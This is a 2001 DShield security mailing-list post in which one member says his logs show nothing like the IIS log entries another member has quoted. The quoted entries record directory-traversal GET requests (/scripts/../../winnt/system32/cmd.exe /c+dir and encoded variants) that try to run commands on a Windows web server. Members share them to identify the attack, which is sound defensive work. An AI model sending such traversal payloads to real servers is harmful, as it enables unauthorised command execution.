[Dshield] Check this out.

Tony Maro tonym at nlisc.com
Tue Aug 21 13:19:04 GMT 2001


I've combed my logs for the past 2 weeks and see NOTHING like this on any of
my 4 boxes.  1 is Linux, the others 2000.

-Tony

-----Original Message-----
From: Sean Graham [mailto:seangra at yahoo.com] 
Sent: Monday, August 20, 2001 11:58 AM
To: dshield at dshield.org
Subject: Re: [Dshield] Check this out.



day-am!  Never noticed these before:

What-in-the-heck-are-these?

Note the IP similarities in 2 of the 3 to yours.

-- Sean

2001-07-24 20:16:42 61.151.255.114 - GET 
/scripts/../../winnt/system32/cmd.exe /c+dir 502 374 66 70 - 2001-07-24
20:16:42 61.151.255.114 - GET 
/scripts/..\../winnt/system32/cmd.exe /c+dir 502 374 66 10 - 2001-07-24
20:16:43 61.151.255.114 - GET 
/scripts/..-%pc../winnt/system32/cmd.exe /c+dir 500 0 66 0 - 2001-07-24
20:16:43 61.151.255.114 - GET 




More information about the list mailing list